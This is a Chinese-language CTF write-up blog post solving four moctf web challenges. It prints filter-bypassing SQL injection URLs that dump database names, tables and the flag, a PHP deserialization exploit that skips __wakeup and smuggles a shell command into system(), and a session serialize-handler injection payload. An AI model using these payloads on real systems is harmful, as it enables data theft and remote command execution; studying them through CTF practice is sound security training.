moctf-新春欢乐赛

Feb 13, 2018 09:54 · 309 words · 2 minute read ctf

划水。

是时候让你手指锻炼一下了

查看源码发现是js验证clicks。 payload

	
http://120.78.57.208:6003/web1/?clicks=111111111111111111111111111

ez Injection

注入题,测试后发现过滤了空格,括号和几个关键字。payload如下

#爆库
http://120.78.57.208:6002/index.php?id=-3%27/**/ununionion/**/seselectlect/**/SCHEMA_NAME,3,4/**/frfromom/**/information_schema.schemata/**/limit/**/0,1%23
#爆表
http://120.78.57.208:6002/index.php?id=-3%27/**/ununionion/**/seselectlect/**/table_NAME,3,4/**/frfromom/**/information_schema.tables/**/whewherere/**/table_schema=%27sheldon%27/**/limit/**/0,1%23
#爆列
http://120.78.57.208:6002/index.php?id=-3%27/**/ununionion/**/seselectlect/**/COLUMN_NAME,3,4/**/frfromom/**/information_schema.columns/**/whewherere/**/table_name=%2704ad5938eaf0efb6%27/**/limit/**/0,1%23
#爆flag
http://120.78.57.208:6002/index.php?id=-3%27/**/ununionion/**/seselectlect/**/value,3,4/**/frfromom/**/04ad5938eaf0efb6/**/limit/**/0,1%23

PUBG

1.发现index.php.bak文件泄露 关键代码

<?php
    error_reporting(0);
    include 'class.php';
    if(is_array($_GET)&&count($_GET)>0)
    {
        if(isset($_GET["LandIn"]))
        {
            $pos=$_GET["LandIn"];
        }
        if($pos==="airport")
        {
            die("<center>机场大仙太多,你被打死了~</center>");
        }
        elseif($pos==="school")
        {
            echo('</br><center><a href="/index.html"  style="color:white">叫我校霸~~</a></center>');
            $pubg=$_GET['pubg'];
            $p = unserialize($pubg);
            // $p->Get_air_drops($p->weapon,$p->bag);
        }
        elseif($pos==="AFK")
        {
            die("<center>由于你长时间没动,掉到海里淹死了~</center");
        }
        else
        {
            die("<center>You Lose</center>");
            
        }
    }
?>

新发现class.php,尝试也有.bak文件泄露

<?php
    include 'waf.php';
    class sheldon{
        public $bag="nothing";
        public $weapon="M24";
        // public function __toString(){
        //     $this->str="You got the airdrop";
        //     return $this->str;
        // }
        public function __wakeup()
        {
            $this->bag="nothing";
            $this->weapon="kar98K";
        }
        public function Get_air_drops($b)
        {
                $this->$b();
        }
        public function __call($method,$parameters)
        {
            $file = explode(".",$method);
            echo $file[0];
            if(file_exists(".//class$file[0].php"))
            {
                system("php  .//class//$method.php");
            }
            else
            {
                system("php  .//class//win.php");
            }
            die();
        }
        public function nothing()
        {
            die("<center>You lose</center>");
        }
        public function __destruct()
        {
            waf($this->bag);
            if($this->weapon==='AWM')
            {
                $this->Get_air_drops($this->bag);
            }
            else
            {
                die('<center>The Air Drop is empty,you lose~</center>');
            }
        }
    }
?>

  • call 当要调用的方法不存在或权限不足时,会自动调用call 方法。
  • __destruct():析构函数,当对象被销毁时会自动调用。
  • __wakeup() :如前所提,unserialize()时会自动调用。

    大致思路

    1.在执行反序列化操作后会直接触发wakeup和destruct,可以看到destruct中对weapon有限制,所以需要绕过wakeup函数。 2.通过\$this->Get_air_drops(\$this->bag);这行代码去触发call函数。将$this->bag作为call函数的\$method参数。 3.通过构造\$method参数执行恶意代码

    操作

    1.绕过wakeup函数 方法是如果表示对象属性个数的值大于真实的属性个数时就会跳过wakeup的执行。 例:

    #原始的序列化字符
    O:7:"sheldon":2:{s:6:"weapon";s:3:"AWM";s:3:"bag";s:8:"flag.php";}
    
    #修改后即可绕过
    O:7:"sheldon":3:{s:6:"weapon";s:3:"AWM";s:3:"bag";s:8:"flag.php";}
    

2.执行恶意代码 在这里我是想通过运行flag.php去获取flag,但是测试后一直没有反应,于是就卡在这了。 赛后看了writeup才知道这是一个命令执行去打印出flag.php才能拿到flag的。因为flag.php没有echo flag,而是把flag被注释了。。所以在怎么执行flag.php,也不会有反应。(真的是菜,看到system函数竟然不去构造命令执行。。。)

这是我之前构造的运行flag.php的字符串

<?php
class sheldon{
public $weapon;    
public $bag;    
}    
$a = new sheldon();  
$a->bag = "flag.php win"; 
$a->weapon = "AWM";
$a = serialize($a);  
echo $a; 
//O:7:"sheldon":2:{s:6:"weapon";s:3:"AWM";s:3:"bag";s:12:"flag.php win";}
#在linux下,此命令运行的结果是运行flag.php。不运行win.php。
php flag.php win.php

正解

class sheldon{
public $weapon;    
public $bag;    
}    
$a = new sheldon();  
$a->bag = "flag.php && l\s && win"; 
$a->weapon = "AWM";
$a = serialize($a);  
echo $a; 

输出的序列化字符

O:7:"sheldon":2:{s:6:"weapon";s:3:"AWM";s:3:"bag";s:22:"flag.php && l\s && win";}
#修改后
O:7:"sheldon":3:{s:6:"weapon";s:3:"AWM";s:3:"bag";s:22:"flag.php && l\s && win";}

这里还需要url编码一下,不然会失败.

O%3a7%3a%22sheldon%22%3a3%3a%7bs%3a6%3a%22weapon%22%3bs%3a3%3a%22AWM%22%3bs%3a3%3a%22bag%22%3bs%3a22%3a%22flag.php+%26%26+l%5cs+%26%26+win%22%3b%7d

最终读取flag.php的payload

http://120.78.57.208:6001/?LandIn=school&pubg=O%3a7%3a%22sheldon%22%3a3%3a%7bs%3a6%3a%22weapon%22%3bs%3a3%3a%22AWM%22%3bs%3a3%3a%22bag%22%3bs%3a40%3a%22flag.php+%26%26+c%5cat+.%2fclass%2fflag.php+%26%26+win%22%3b%7d

登录一哈

git源码泄露,拿到源码 index.php关键代码

    <?php
        ini_set('session.serialize_handler', 'php_binary');
        session_start();

        if(isset($_POST['username']) && isset($_POST['password'])){
            $username = $_POST['username'];
            $password = $_POST['password'];
            $_SESSION["username"] = $username;
            header("Location:./index.php");
        }
        else if(isset($_SESSION["username"])){
            echo '<h1>hello '.$_SESSION["username"].'</h1>';
        }
        else {
    ?>

flag.php

<?php
|O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";i:0;}
session_start();
class MOCTF{
    public $flag;
    public $name;
    function __destruct(){
        $this->flag = "moctf{xxxxxxxxxxxxxxxxxxx}";
        if($this->flag == $this->name){
            echo "Wow,this is flag:".$this->flag;
        }
    }
}


看了flag.php感觉是反序列化。 再看index.php发现

ini_set('session.serialize_handler', 'php_binary');

查了一下,这行代码是设置php的session存储方式的。 百度之后发现当两个页面设置的session的存储方式不同时会造成反序列化漏洞。 即可以看到在index.php会对$_SESSION[“username”] = $username;,所以要构造的参数就是username payload

username:
|O:5:"MOCTF":2:{s:4:"flag";N;s:4:"name";i:0;}
password:
随便

提交之后,访问flag.php即拿到flag。

菜鸡只会做这几个,先记下这几个做的,其他的以后在平台在补吧。。。

tweet Share